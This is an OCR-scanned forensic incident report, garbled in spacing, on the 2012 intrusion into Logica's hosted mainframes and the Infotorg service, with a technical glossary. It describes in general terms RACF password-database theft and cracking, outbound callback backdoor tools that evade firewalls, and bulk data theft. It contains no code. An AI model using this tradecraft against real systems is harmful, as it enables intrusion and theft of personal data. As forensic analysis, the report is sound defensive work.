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Th i s  report descr ibes a ser ies of com puter re l ated break- i n s  that ha ppened to one of Logica's 

customers, App l i cate, and thus the i nc idents a l so affected othe r  customers of Logi ca, as we i l  as  

Logica itself . The report descr i bes the cam pute r farens i c  i nvestigation .  l t  does not  focus on the 

m it igation  a nd  the act ions  ta ken to cou nter the attacks, a lthough same of th i s  wi l l  be  

descr ibed i n  genera l  te rms .  Sepa rate reports exist on  var ious system secu rity enha ncements 

a nd  m itigations .  

The i nc ident response and  farens ic  a ct iv it ies were performed by a n  i nc ident h a nd l i ng tea m at 

Logica d u ri ng  the t i me Ma rch 2012 to Septem ber  2012. The farens ic  act iv it ies have been 

constructed from 

• Exa m i nations  of the ma i nfra me system itself, i nc l ud i ng  a utomated sea rches afte r 

d ig ita l  footpr i nts a nd  traces . Th i s  i ncl udes the two LPARS the attacke r i s  known to have 

hacked as  we i l  as  a l l  the other  pa rt itians  not reachab l e  from the i nternet and  not 

known to be hacked .  
• Exa m i nat ions (manua l  as  we i l  as  a utomated sea rches after d igita l footpr i nts a nd  

traces) o f  a l a rge n u  m be r  o f  systems  su rrou nd i ng t he  ma i nfra me, t h a t  i s  pa rt o f  the 

same de l ive ry to App l i cate . 
• Read i ng  sou rce code and  ana lys i s  of b i n a ry too l s  l eft by the perpetrators 
• Exa m i nat ion a nd  a utomated earre l at ion of system logs from va r ious sou rces i ncl ud i ng  

fi rewa l l s, system logs, app l icat ion  l ogs 
• And a lso from read i ng session  l ogs, sou rce code a nd s im i l a r  obta i ned  by the 

i nvestigat ing po l ice 

The attack was i n it i a l  ly d i scovered as  a s ide effect when trou b leshooti ng why in the begi n n i ng 

of Ma rch 2012 the CPU load on the SY19 system was excepti ona l ly h igh .  When the 

i nvestigat ion switched from troub leshooti ng to a secur i ty i nc ident i nvestigatio n  Logi ca cou l d  

later trace t he  i n it i a l  u n authorized access t o  25 th o f  Febru a ry.  Th i s  i n it i a l  secu r ity breach where 

performed by us i ng  una uthori zed network log i ns  with the  FTP network fi l e  tra nsfe r p rotoco l .  

T he  FTP log ins  where made  with t he  u se r  accou nt AVIY356, a batch user used by  a c l i ent .  

The atta cks i nc luded una uthor ized access to the ma i nfra me  computer at Log ica, on  which th i s  

report ma i n ly focus, but a l  so the web front-end-systems  of  i nfotorg. The atta cks where 

l a u nced over the I nte rnet from va r ious sou rces v ia  d i fferent network protoco l s, where FTP was 

one centra l protocol used to browse fi l e  system structu res a s  we i l  as down load i ng  content, e .g .  

datasets from the ma i nfra me .  l t  i s  be l i eved that severa l  perpetrators where i nvolved, 

someth ing  that the l ate r po l i ce i nvestigat ion a l so have confi rmed .  

The modus  operand i  i s  to  hack the systems  over the network, and  when successfu l i ntrus ion 

have been ga i ned, create a lternative entrypoi nts i nta the  system (e .g .  hack more accounts, 

add  backdoors, etc), to m a ke s u re that there a re ways to "ho ld"  the hacked mach i ne,  even if 

the i n iti a l  entrypoi nt is found  and  c l osed . M u lt i p l e  atta cks we re l a u nched, from s imp l e  

password guess i ng attacks to  more soph i st icated attacks i nvalvi ng  brea ki ng i nta t he  systems 
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by exp lo iti ng softwa re vu l nera b i l it ies i n  system softwa re - ma ny of wh ich where prev ious ly 

u n known, so ca l i ed zero day exp loits .  

The perpetraters ma nage to get system access in the end of Februa ry 2012, 2012-02-25 i s  the 

be l i eved sta rt date, but we be l i eve that ser ies of attack attem pts where l a u nched ear l i er .  The 

attacks fi rst i nc l uded App l i cates ma i nfra me system SY19 that i s  hosted by Log ica and a re uses 

by App l i cate and customers to App l i cate. In March 2012, the atta cks l ater a l so i nc l uded SYS3, 

a nother ziOS partit ion,  which i s  a l so used by App l i cate but a l so sha red by same 40 other 

customers as wei l .  In  SY19 the perpetraters ma nage to get ve ry h igh not fu l l  system level 

access a nd  as a resu lt of that ga i n i ng contra! over the RACF  database a nd  m a n i pu l ate user 

accou nts to level the i r  a uthor izations .  There a re i nd i cations that the RACF data base was 

down loaded from the SY19 and be l i eved to be ana lyzed with a password cra ck ing  tool ,  that 

wou l d  successfu l ly been crack i ng m a ny passwords. In the attack on SYS3 they used i nformat ion 

ga ined from SY19 to be ab le to l ogon with ftp and co l l ect the data that the user was a l l owed to 

read  and TN3270 to be ab le to " look a round" .  

The perpetraters i nsta l led custom ized networki ng too l s  that p rovided c l andesti ne networki ng 

access for them by perform ing  outbound  network ca I l s  from the ma i nfra me to systems of 

cho ice of the pe rpetrators .  With th i s, the perpetraters ga i ned the severa l advantages : 

• S ince the too l s  ca l i ed back, thus  generati ng outbound  network traffi c, they cou l d  

c ircumvent certa i n  b lock ing and  fi l ter ing by  fi rewa l l  i ng as we i l  as  system 

configu rations .  
• This  network so l ution  a l l owed the perpetratar to have a re l ayed, i n d i rect, network 

access to the ma i nframe .  Th us  th i s  a pproach l i m ited the ab i l it ies an i nvestigat ion had 

to trace back the attacker to the rea l sou rce of or ig i n .  

The b rea k- i ns to the ma i nfra me  seems t o  have been s uccessfu l ly stopped i n  the e n d  of Ma rch 

2012, when a l l  the major  m it igati ng  actions  had been performed, i nc l u d i ng wh ite l i sti ng hasts 

that is a l l owed to ta l k  to the ma i nfra me .  Sti l l  i nvestigations  a n d  m it igations  conti nued  after 

that po i nt, to verify that the m a l i c ious activit ies where stopped .  

At  l east one of the perpetraters i s  known to have used a Hercu l es, a pc based ma i nfra me 

emu l ator, l oca l ly i n  wh ich certa i n  too l s  we re  deve loped, that  l a te r  was used  for ma i nfra me 

attacks .  Th is  cou l d  a l so descr ibe why they stea l  system softwa re and configu ration  setu ps, so 

that they ca n use it i n  the i r Hercu les setup  to custom ize it  with sto len  softwa re as  we i l  as 

conti n ued resea rch for new secu rity vu l nerab i l it ies by testi ng or  brows ing  the fi l e s .  

Same of  the i nformat ion sto len  i n c l uded : 

• extracts or su bsets of the nationa l  Swed i sh  persona l  database SPAR, i n cl u d i ng 

i nformat ion on persons with p rotected l secret i dent it ies 
• data bases over customers, data bases be long ing to same of Logkas users 
• same fi na nc ia l i n fo, e .g .  i nvoi ces 

• sou rcecode, both system sou rce code from I B M  as  we i l  as  sou rce code from Logica a nd  

t he i r  customers, or  customers customers .  
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• a uthent ication  i nformat ion on the systems  (passwords, ssh keys, x . 509 certificates, 

etc) 

The sto len  a nd  down loaded i nformation  were ma ny t imes obta i ned  in genera l , sweep ing 

maneuvers, where they down loaded every fi l e  access ib le  by a certa i n  sto len  user accou nt. 

Thus  they performed non-ta rgeted i nformat ion theft, and somet imes obta i ned u n i nterest i ng, 

u n usa b le  i nformat ion as  we i l  as  usab le  or  high ly sensitive i nformat ion .  sto len  cred it  ca rd 

i nformat ion seemed to be a n  exa m p le  of fi les j ust down loaded as pa rt of gett i ng a l a rger set of 

fi l es, not someth i ng they we re h u nt ing for or pa rt icu l a ri l y  tryi ng to fi n d .  Same other  ti mes, 

very d i rected i nformat ion theft where performed or tr i  ed, such as Iaok ing for a specifi c  

persons .  

One other  i m porta nt nate re l at i ng to the i nformat ion theft i s that i nformat ion and fi l es often 

where down loaded m u lt ip le  t i mes, often by us i ng  d ifferent user n ames and  d i fferent sou rce 

network add resses .  Thus th i s  ma kes us  d raw the conc l us ions that :  

• there were more tha n one perpetratar stea l i ng  the i nformation  
• the re exists cop ies of the i nformat ion i n  more that on  e p l a ce 

• d ifferent perpetrators m ight have d ifferent focus wh i l e  hav i ng access to the mach i n e  

a nd  t h e  i nformation  

Th i s  ca n be of  same re leva nce to  the  evo l ut ion of  events, e . g .  i f  the i nformat ion i n  tu rn  have 

been saved o r  sha red or hand l ed to yet othe r  pe rsons .  

One major p rob lem with  h a nd l i ng the i nformat ion theft i s that not a s i ng le  orga n i zat ion  that 

do  h ave the ha l i st ic u ndersta nd i ng of the content o r  sens it ivity of datasets or  fi l es, as  

i n d ivi d u a l  d ata bea rer  or  a s  l a rger co l l ect ion of  data bea re rs .  l t  have been each a nd  i n d iv i d u a l  

orga n izations  respons ib i l ity t o  i nvest igate a nd  a n a lyse the i r  "own fi l es" . Another  i m porta nt 

aspect we be l i eve i s  samewhat over laoked in th is i s  the matter  of the pe rpetrators - of t h i rd 

part ies that obta i n  the i nformat ion - com b ine  the sto l en  i nformat ion with other  sou rces of 

i nformat ion to bu i l d new knowledge. An exa m p le of th i s  wou l d  be to use the persona l  nu m ber 

of persons with p rotected identit ies from SPAR dataset sto len  with othe r  add ress sou rces, thus  

com i ng u p  w i th  a va l i d  a nd  com plete persona l a dd ress for that perso n .  To conc lude, we 

be l ieve that th i s  a pproach,  a lthough necessa ry, h ave left a l l  i nvalved pa rt ies w i th  an  

i ncomp l ete or  scattered u ndersta nd i ng of  the amou nts, va  l ues o r  sens it iv ity of  the i nformat ion 

sto le n .  

Another  p rob lem with hand l i ng t he  i nformation  theft i s that there i s  p rob lemat ic t o  g ive a ny  

exact n u m bers for t he  sto len  fi l es, t he  s ize o f  t he  data sto len ,  etc. The  reasons for t h i s  a re 

m u lt ip le  

• Same fi les where sto len  via FTP, these ca n be accounted for. Other  fi l es m ight have 

been I i sted on the perpetrators screen .  Vet othe r  fi les m ight have been obta i ned v ia  

va r ious secu rity vu l ne ra bi l it ies .  

• Ma ny fi les where tr ied to be down loaded but were hav ing fi l e  p rotect ions  that d i d  not 

give away the content of the fi l e  
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• Many fi les  were down loaded m u lt i p l e  t imes .  Th is one becomes i nteresti ng, s i nce it 

depends on  if  the persons down load ing  it a l l  the t ime is the same person or  if i t  i s  

d i ffe rent persons .  How shou ld  th i s  be cou nted ? As 1 fi l e?  
• Severa l t imes fi l es were down loaded as a "ta r" a rch ive fi l e .  Th us one fi l e  where 

down loa ded, but that a rch ive d id  conta i n  ma  ny fi l es, maybe lOO's or 1000's of fi l es .  

We don't know exact ly the content of  a l l  "ta r" a rch ives down loaded . How shou l d  th i s  

be cou nted?  As 1 fi l e?  
• Ma ny fi les  where campressed before down loaded .  Shou l d  these be cou nted as  the 

campressed s ize of  the uneampressed s i ze? 

That be i ng sa id ,  we have been tryi ng to g i ve som e very rough esti mates of the extent of the 

i nformat ion theft .  Many giga bytes of data have been down loaded . 

Access to the l nfotorg web service was performed in parallell to the attacks a i med at the 

ma i nfra me as  we i l  after the l ockdown and wh ite l i sti ng that b locked access to the ma i nfra me 

itse lf. Th is  was  made poss ib le  beca use the perpetrators had  access to  a l a rge l i st of  user na mes 

and passwords. These wou l d  sti l l  work in the l nfotorg web serv ice, but where b locked from 

access to the a ctu a l  ma i nfra me .  lt is a l so q u ite p roba b le that a ccess i nformation  to the i nfotorg 

web where sha red with more persons than  the core tea m focus ing  on hack ing the ma i nfra me .  

One i m  porta nt q uestion  to  ra ise i s  if the pe rpetrators d i d  know which company they attacked, 

or  what system they accessed?  We be l ive, from ana lyzi ng the system logs, as  we i l  as  seized 

sess ion  l ogs from the perpetrators com puters, that they ca n not h ave been unawa re that they 

accessed i nfotorg or  Logi ca . These n a mes come u p  i n  datasets, user n a mes, jobs, com puter 

names, etc, a l l  the t ime .  l t  ca n a lthough have been samewhat confus ing with a l l  the na mes 

l nfodata, App l i cate, Sema,  Dafa, WM-Data and othe rs .  But these a re a l l  pa rts of the cam pa n ies 

that exist today a nd  have been victi m ized . 

Severa l s ide tracks were opened and  c losed d u ri ng  the i nvestigat ions .  By not knowi ng the 

exact extent of the i n cident, and Logi ca hav ing a computer envi ronment cons ist i ng of more 

than  10,000 serve rs, ma  ny reports of "ma l ic ious activity" i n  othe r  pa rts of t he  com puter 

env i ronments prom pted i nvestigat ions of these systems a nd  servers as we i l ,  to see if these 

mach i nes where i nvalved as  wei l .  The m ajor  s ide tracks a re descr i bed in deta i l  in the report. 

The i n cident was reported to the po l i ce ear ly  in the i nte rna!  i nvestigation .  Th is  resu lted i n  

ma  ny th i ngs, i nc l ud i ng :  

• The i nvestigative bra nch of the  po l ice where h uge ly successfu l of the i r work, even 

when the i nvestigation  grew a nd  become a cam p lex major  i nvestigatio n .  Po l ice that 

run the i nvestigat ion manage to ca ptu re fi rst one suspected perpetrator, later they 

ma nage to ca ptu re another person be l i eved to be the ma  i n  perpetratar i nvalved i n  the 

attacks. From the i nformat ion obta i ned from the suspected pe rpetrators com p uter, i t  

i s  very I i ke iy that they have been i nvalved i n  the attacks, s i nce they have i nformat ion 

sto len  from Logica and the i r customers on the i r  com p uters as we i l  as attack too ls  to 
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hack ma i nfra mes.  Th is  ca-operat ion with the i nvestigati ng po l i ce have lead to qu i cker 

as we i l  as  a mo re comp l ete a na lysis of the i nc ident .  The resu lt of th i s i s that the 

m it igation  and secu rity boasti ng efforts have been en ha nced 
• S ince the po l ice a re customers to App l i cate, the i nterna l secu rity deta i l s at the nationa l  

po l i ce become i nvalved i n  a n  ea r ly stage.  

As a wra p-up, we state that the i nc ident i nvalved a geogra ph i ca l ly d i stri buted tea m  of 

adva nced perpetrators and m u lt i p l e  ta rgeted hasts . Logi ca Staff tagether with App l i cate d raw 

the correct concus ions - an tagan i st ic attacks - from otherwise uncerta i n  data that cou l d  have 

passed for a bug or a batch job  on the ru n .  The geogra ph i ca l ly d i stri buted tea m  then used a 

l ayer of hacked hasts d i stri buted wor ldwide as  stepp ing  stones to re lay the attacks aga i nst 

Logi ca, thus m a ki ng it even h a rder  to trace the atta cks back to the rea l  sou rces .  The emergency 

phase deve loped i nta months as  the i nvestigat ion to fi nd  roat ca use, farens ic  a n a lys is, 

m it igations  as  we i l  as  customer  ca re a l l  d raw attention . For a l l  o rga n i zat ions, th i s  i nc ident have 

probab ly costs ma ny thousa nds  of m a n  hou rs, thus  th i s  have been an expens ive emergency 

operation .  
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The fo l lowing glossa ry is i nc l uded to put everth ing i n  a context, a nd  descri be som e of the 

com pany specifics as  we i l  as  the specifics to the d i ffe rent computer envi ronments and  

tech n ica l deta i l s  that a re covered i n  t h i s  report .  

ACEE Access Control Envi ronment E lement .  

ACL Access Control Li sts . Th is is  one featu re ava i l ab l e  i n  the USS H FS fi l e  system, 

where extended fi l e  access control i s  i m p lemented. Bes ides the ord i n a ry U n ix  

fi l e  permiss ion concept and add it iona l  and com p lementa ry permiss ion control i s  

app l ied from l ists of user and the i r  access r ights to the fi l e  or  d i rectory in  

question .  

APF 

Applicate 

Authori zed P rogra m Faci l ity l i b ra ry control is a mech an ism  in z/OS that wi l l gra nt 

a progra m extended a uthority d u ri ng  the execution  

A IT com pany wh ich a re speci a l i sts i n  customer un ique IT so l utions  wh ich acts as  

a data broaker and conso l  i date i nformation .  Located in  Sweden,  a subs id i a ry to 

B i snode .  App l i cate exist i n  the same ente rpr ise as l nfotorg - the service de l ivery 

branch, for wh ich  App l i cate is the app l ication  deve loper  branch .  

ASCI I  America n Sta nda rd Code for I nformat ion l ntercha nge. 

Cha racte r encod i ng system based on  the Eng l i s h  a l p habet 

Authentication A function  to specify ing access r ights 

Authorization A funct ion to specifyi ng access contro l s  

ATOS 

Backdoor 

Company name  of o l d  com pa ny that l ater have become Logica . 

A way to access a system that no rma l  ly not shou ld  exist .  A ba ckdoor ca n be 

undocu mented bu i l d  in credenti a l s  o r  a progra m i nsta l l ed  by a ma l i c ious user  

that runs as a service and a l l ow l og i ns  to the system .  

Batch A set of tra nsactions t hat  is  ad d ed to a queue  for cam p uti ng .  

Binarv Ana lysis of b i n a ry fi l es to understa nd  the pu rpose and  functiona l i ty of a n  

a n a lysis executa b le  p rogra m .  

Bisnode A earparate group  that owns l nfotorg 

Blackl ist ing A ru le  set to de ny ce rta i n  progra ms or  p rotoco l s .  The o pposite i s  wh ite l i sti ng.  

BSNOOSS A user in RACF that was used by a m a l ic ious user when  the system where 

compromised .  
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CICS Customer  I nformat ion Control System .  A tra nsact ion ma nagement softwa re 

that runs  om I B M  ma i nfra mes that a l l ows users to perform certa i n  pre-defi ned 

tra nsactions 

DAFA 

DAFxxx 

Dataset 

Dataset 

me m ber 

Dataset 

p refix 

DB2 

DL/l 

Digita l 

forensics 

DMZ 

DOS 

EBCDIC 

CICS uses RACF for transaction security. 

O ld  company name that l ater have become pa rt of cur rent Log ica .  

Type o f  userna mes i n  RACF that was used b y  ma l i cious  users .  

F i l e  storage i n  the Ma i nfra me wor ld .  

Datasets a re trad itiona l l y  used on the MVS s ide  wh i le  the fi le  concept i s  used on 

the USS s ide .  

Dataset na mes cons ists of l ette rs a re a l l  u pper case. The fu l l  n ame  i s  sepa rated 

i nta p ieces by the dats. The p ieces a re ca l i ed nodes .  They a re a l so ca l i ed 

qua l if iers. The l eft-most node is ca l ied H igh  Leve l Qua l ife r, H LQ. l t  i s  a n  

i m  porta nt factor i n :  Lea rn i ng what ki nd  of dataset i t  is ,  F i nd i ng where the 

dataset res ides, and Contro i i i  ng access to i t .  

The maxi m u m  length for a node i s  8 cha racters, and the  maxi m u m  dataset 

n ame  length i s  44 cha racte rs . 

A dataset ca n conta i n  mem bers, wh ich  is a su bd ivi s ion  s im i l a r  to that a d i rectory 

ca n conta i n  m u lti p l e  fi l es .  

The short stri ng of  cha racters used to group  the d i ffe rent datasets. l t  i s  the  

i n it i a l  cha racters that  m a ke u p  a fi l e  n ame, e .g  ABC.XXX.XXXX, where ABC i s  the  

p refix .  

A re lat ion database by IBM that i s  used i n  Z/OS.  

Data La nguage 1 .  

Used  i n  i nvestigations  to fi nd  evidence i n  storage devices, 

systems, networks etc. 

Dem i l ita r ized zone .  U sed to i so l ate systems in a network. 

Den i a l  of service. 

Extended B i n a ry Coded Deci m a l l ntercha nge Code i s  a n  8-b it cha ra cter 

encod ing  used ma i n ly on  I B M  ma i nframe and I B M  m id ra nge com pute r 

operat i ng systems .  

Exits Mecha n i sms  in I B M  systems to have the system ca l l  the  users own softwa re for 

certa i n  activ it ies or for certa i n  s ituations .  Sma l l  p rogra ms  used for s m a l l  

cha nges t o  sta nda rd p rod ucts. Often used t o  expa nd  functiona l ity. 
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P rogra ms or  code extracts that uses a vu l nerab i l it iy i n  other softwa res to ga i n  

i nformat ion or  access t o  t h e  system .  A n  exp loit ca n a l so b e  used for DOS 

attacks. 

F i l e  Tra nsfer P rogra m, imp lement ing the F i l e  Tra nsfer P rotoco l .  A com mon 

method to send and  rece ive fi les over a TCPII P based network. A major  

adva ntage of  us i ng  FTP is i t s  u n iversa l avai l a bi l ity. A major  d rawback of  us ing  

FTP i s  i ts l ack  of  a ny type of  modern  secu rity contro l s .  The use r na me, 

password as we i l  as  a l l  tra nsferred data a nd  com mands a re sent i n  p l a i n text. 

Subm iss ion of batch jobs for J ES and  RJ E .  

Th ree-way FTP is a speci a l  way of  us ing the FTP fi l e  tra nsfer, where the 

con nect ion with the command  channe l  i s  made from one p l ace but the actua l  

fi l e  tra nsfe r i s  done between other  hasts . See  a ppend ix  "Append ix  B :  

Descri ption o f  th ree way FTP serv ices" page 167 for a deta i l ed  descri ption  of 

Th ree-way mechan ism .  See a ppend ix "Append ix C: Usage of th ree way ftp" page 

Fel !  Bokmä rket ä r  inte d efin ierat. for a l og extracted that conta i n  th ree way 

tra nsfers . 

F i l e  Service Protoco l .  Acient U DP based l ight weight protoco l for tra nsferri ng 

fi les  between hasts . 

G roup  I D . Used i n  u n ix secu rity mecha n i sm .  

A ca l cu l ated va l ue  t ha t  i s  a campressed rep resentation  o f  some dataset, such 

as  a docu ment, a n  executab le  progra m, a spread sheet or  a p i ct u re .  Th is  hash 

code or  hash va l ue  ca n then be used to cam pa re fi les on  two d ifferent 

systems .  l t  the hash  va l ue  i s  the sa me, the content of the fi l e i s  equa l .  

Host l ntrus ion Detect ing System .  

H LASM is  a p roduct ser ie from I B M .  l t .  H igh -l eve! assem b ler  i s  a way t o  deve lop  

p rogra ms with the power of  l ow-level (c l ose to, and  with the power to contro l ,  

the CPU and ha rdwa re resou rces) assemb le r  p rogramm ing. H LASM i s  convert at 

an l ater stage to 370 assem b ler. 

l n etd The i nternet s uper  deamon .  A background  progra m ru nn i ng on a U n ix l USS 

system to spawn other  network p rogra ms  once remote con nections  a rr ive. 

Once i netd sta rts it read  a configuration  fi l e, i netd .conf, that descr ibes what 

network services that i netd shou l d  p rovi de .  

l n etd .conf The configurat ion fi l e for the server daemon that sta rt services 

lnfotorg A porta l with i nformat ion a nd  l i n ks to governments systems .  SPAR registry i s  

stored i n  th i s  porta l .  l nfotorg i s  own by B i snode .  

ltwebl & Two compute r na mes of l nfotorgs web servers 

itweb2 
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iShel l  l s he l l  i nvokes the ISPF shel l ,  a panel  i nterface that he l  ps to set up and ma nage 

z/OS U n ix  system fu nctions .  

ISPF l nte ractive System Productive Faci l ity. A pane l  i nte rface to z/OS 

JCL Job Control La nguage, it i s  a scr i pti ng l a nguage used on  I B M  ma i nfra me 

operati ng systems to i nstruct the system on  how to ru n batch jobs or  sta rt a 

su bsystem .  

J ES 

John the 

Ripper 

logica 

LPAR 

Job  Entry System 

Speci a l  pu rpose progra m that is deve loped to ta ke encrypted passwords 

(password hashes)  and use va r ious methods to recover the equ iva lent p l a i n  

text password associated with t he  encrypted/hashed password .  J ohn  t he  R i pper  

(JtR) have su pport for m u lt ip le  systems and encrypt ion methods .  One method 

recent ly added i s  the encrypt ion used by RACF to store cop ies of passwords in  

u n i nta ng ig le format .  

Sou rci ng vendor. 

Logica l pa rtit ion ,  a tech n i ca l  way to d iv ide the phys ica i i BM ma i nfra me i nto 

m u lt ip le  l og ica l  com puter systems .  On the ma i nfra me  used by Logica ,  some 20 

d iffe rent LPAR's a re setu p and operati ng .  

lU Log ica l  u n it .  

Mainfra me A ma i nfra me computer i s  a l a rge centra l i zed camputi ng resou rces with a h i story 

go ing back to the 1950's. A major vendar  i n  the ma i nfra me a rena  is I B M .  The 

I B M  ma i nfra me supervisor PR/SM is used to host a n u m ber  of l p a rs .  I n  each l pa r  

i s  i t  poss i b l e  t o  sta rt system us ing  z/OS, VSE, z/VM and  Li n ux .  The l pa rs a re 

iso l ated from each othe r  th us us ing  the same resou rces of CPU,  1/0 and  

memory. I n  t h i s  case a re two l pa rs ru n n i ng z/OS i nvolved .  z/OS i s  a operat i ng  

system, often ca l l ed  ma i nfra me, that i s  used to : 

Ma lwa re 

MQ 

• H a n d l i ng of batch jobs that run  a t  certa i n  i nte rva l s .  Batch jobs i ncl ude fi l e  

tra nsfe rs, tra nsact ion hand l i ng, p ri nt i ng, etc. 
• The ma i nfra me is a l a rge h ost for vol  u me  tra nsactions  frequent ly run  

th rough C ICS or  I MS or  one of  the t h i rd pa rty p roducts wh ich run  on  the 

ma i nfra me.  
• As a centra l m a nagement po int  for i dentity by hosti ng a nd  provid i ng 

a uthentication  and a uthor izat ion serv ices v ia RACF identity ma nagement. 
• As a centra l data serve r for hosti ng DB2 ta b les of l a rge s ize as  we i l  as  

p rovid i ng back-end data p rocess i ng for va r ious data req uests . 

A ma l i c ious softwa re . 

Message protocol used by I BMs websphere 
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MVS M u lt ip le  Vi rtua l  Storage . Has  been rep laced by OS/390 that has been rep l aced 

by z/OS but MVS i s  sti l l  the name in use.  One of the operati ng systems that a re 

su pported by I B M  Ma i nfra mes .  

Navet 

Netcat 

OMVS 

Password 

Password 

cracking 

A method and  a system to d i spatch i nformat ion on persons in Sweden .  

a p rogra m that has been the 11SWiss a rmy kn ife of networki ng tool s", i ncl ud i ng 

be ing ab l e  to serve as a c l i ent  or  a server on a rb itra ry network ports . 

Som e of the u p loaded progra ms seemed to have 11netcat l i ke" featu res be i ng 

e i ther a sma l l  network server or  a network c l i ent .  

The OMVS command  i s  used to i nvoke the z/OS® U N IX® she l l .  U se rs whose 

prima ry i nteractive com puti ng  envi ronment i s  a U N IX  system shou l d  fi nd  the 

z/OS U N IX she l l  env iron ment fa m i l i a r . 

A secret ph  rase of text/nu m bers/speci a l  characters that common  ly is used with 

a username  to ga i n  access to system or  p rogra ms .  

A methodo logy to systematica l ly sea rch for a p l a i ntext password .  A way to 

extract the or ig i n a l  password from an encrypted or  ha shed and  thus  

u n i nta ng l i b l e  password . 

PPA Po l i sens  Person och Ad ressregiste r .  A vers ion of SPAR with add it iona l deta i l s  

ava i l a bl e  to  t he  po l i ce .  

pgp Pretty good p rivacy. Used for encryption  a nd  decryptio n  with pub l i c  a nd  p rivate 

keys . The private key i s  a lso used to s ign fi les .  l t's a l so poss i b l e  to encrypt a nd  

decrypt fi les  with passwords .  

P I  

P K l  

Private 

key 

PTF 

RACF 

RACREP 

På loggn i ng l nfotorg. A speci a l  softwa re used by a pp l i cate to a uthent icate users 

i n  the i r  i nfotorg a pp l icatio n .  

Pub l i c  Key l nfrastructu re 

I n  the context of a asym metr ita l encrypt ion system, t hat key of a key pa i r  that 

i s  to be kept secret to the user  or  p rogra m .  

P rogra m Tem pora ry F ix .  A 11patch" i n  I B M  voca bu l a ry. 

Resource Access Control Faci l ity . A central database contai n i ng usernames, 

passwords, authorizations, etc 

RACF was i ntroduced in 1 976. The early i ncarnations of RACF provided 

optional user authentication  via a changeable 8-byte password . 

Logi ca deve loped RACF reports from SMF  records . .  A l a rge n u  m ber of these 

RACREP reports where an a lysed as  pa rt of the i nvestigat ion .  A nu m ber of 

excerpts from these reports a re i nc l uded i n  th is report .  
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REXX Scri pti ng l anguage used i n  the I B M  MVS and  USS envi ron ment .  I n  the i nc ident, 

ma  ny REXX scri pts were used to l a u nch d i ffe rent atta cks. 

RJ E 

SCAP0023 

Script 

SEMA 

set u id 

setgid 

Shel lscript 

SHS 

Remote Jo  b Entry 

Server hosti ng m u lt ip le  web servers for ma ny l egacy campan ies in the Logica 

g roup, e.g. WM-Data. 

Commands norma l ly written in a text fi l e  to accom p l i sh  severa l functions  with 

on  ly  executi ng the text fi l e .  

O ld  com pa ny name  of  com pa ny that  l ater have become pa rt of  Logi ca . 

setu id says that wh i le  th is program runs, the user assu mes the U I D that owns 

the f i le  (from the FSP) 

Set g roup  id. U nix group  access r ights on fi les .  

A (often sma l l )  p rogra m written i n  the "she l l "  command  l a nguage i n  the U n ix 

o r  USS envi ronment. She l l  scri pts have been found  at a n u  m ber of p l aces i n  the 

SY19 or  SYS3, many wh ich  have conta i ned user na mes and  passwords. 

"Sp ri d n i ng och hä mtn i ngs systemet" . A specific system used in Sweden to send 

and retrieve fi l es .  l t  i s  com mon ly  used with i ng the d i ffe rent govern ment 

agendes a nd  depa rtments. 

SMF The System Ma nagement  Fac i l ity i s  a com ponent  of I B M ' s  ziOS for ma i nfra me 

com puters, p rovi d i ng a sta nda rd ized method for writ i ng out records of  activity 

to a fi l e  (or  dataset to use a ziOS term) .  S M F  provides fu l l  " i n stru mentation "  of 

a l l  base l i ne  activit ies ru n n i ng on that I B M  ma i nfra me operati ng system, 

i nc l ud i ng 1/0, network activity, softwa re usage, error  cond itions, p rocessor 

uti l i zat ion,  etc. 

SPAR statens Person- och . Ad ress register. A database with persona l  i nformat ion of a l l  

swedes .  Same persons that exist with i n  SPAR have protected l secret i dentit ies .  

The i nformat ion be long ing to those persons shou ld  be fl agged on  the operator 

screen and not be com mon ly  ava i l a b l e  or  re-d istr i buted . 

SSH Secu re she l l .  A network p rotoco l that use encryption  for the com m u n i cation .  

The protocol a nd  the i m p lemented too l s  u ses  "ssh keys", wh ich  cons i sts of 

public key cryptography keypairs, which a re stored in key fi les .  On the server 

s ide  there a re fi les  l i ke "a uthor i zed_keys" wh ich conta i n  the pub l i c  key . On the  

c l i ent  s ide, there a re fi les  l i ke "id_dsa" that conta i n  the p rivate key. Stea l i ng 

p rivate keys ca n a l l ow a perpetratar to obta i n  access remote hasts . 
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Su bstitute User  i dentity. A U n ix program that a l l ows a user  to loca l ly cha nge to 

another user .  

SU PERUSR The privi l eged user in USS and MVS. 

SYS3 The name on one of the z/OS systems ru n n i ng i n  a LPAR on Logicas' ma i nfra me .  

Th is  system is  Logicas a nd  used  by  App l i cate a nd  other  customers .  

SY19 The name on one of the z/OS systems run n i ng in a LPAR on Log icas' ma i nfra me .  

SYSLOG 

syslog 

System z 

TCP/ I P  

Tech n ica l 

u ser 

Tei n et 

TN3270 

TPX 

TSO/E 

Th is  system is App l i cate's hosted by Logica .  

Sametime SY19 i s  a l so referred t o  as  SYS19.  

A program that al lows separat ing logs from programs to a separate service. 

l t  shou ld  be noted that syslog (with lower case letters) refer to the log function 
avai lable i n  the USS (Unix) part of the mai nframe. 

Un ix l USS standard service that col lects and store logs from the system as wei l 
as appl ication logs and security re lated events. 

l t  shou ld be noted that SYSLOG (with capital letters) refer to the log funct ion 
avai lable i n  the MVS part of the mainframe. 

I BMs brand name for their mainframes 

The protoco l that is most com mon for com mun i cation  over I nte rnet 

and  l ntra nets. 

Cathegory of users at Logica that m a ke up the tech n i ca l  staff, a n d  thus have 

extended privi l eges 

A network p rotoco l used for i nteractive remote access .  Te i n et in the sta nda rd 

des ign use c lea rtext for a uthentication  as  we i l  as  a l l  t ransferred i nformation  

d u  r ing the sess ion  . .  

Te i net 3270, o r  TN3270 descr ibes e i ther  the process of sen d i ng a n d  rece iv ing 

3270 data strea ms us ing  the Te i net p rotoco l o r  the softwa re that emu l ates a 

3270 dass te rm i n a l that com m n icates us ing  that p rocess .  TN3270 a l l ows a 3270 

term i n a l  emu latar to com m u n icate over a TCP/ I P network i nstead of an SNA 

network. sta nda rd te i net c l ients ca n n ot be used as  a s u bstitute for TN3270 

c l i ents, as they use fu ndamenta l ly  d i ffe rent tech n iq ues for excha ng ing data . 

Sess ion a nd  menu  system i n  z/OS from Computer Associ ated .  

Ti me Sha ri ng  Option/Extens ions .  l nteractive envi ron ment i n  MVS where 

progra ms ca n be executed .  

U n ix fi le The U n ix  operati ng system, a nd  thus  the USS pa rt of  z/OS, h ave a d i scretiona ry 

permissions fi l e  permiss ion  system where a fi l e  access, l et it be read, write, u pdates, etc, 
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a re checked aga i n st a fi l e  permiss ion mask attached to each fi l e .  Access i s  

d iv ided i nta the actions read,  write and execute He re you see a n  exa mp l e  of fi le  

permiss ions I i sted for a fi l e  

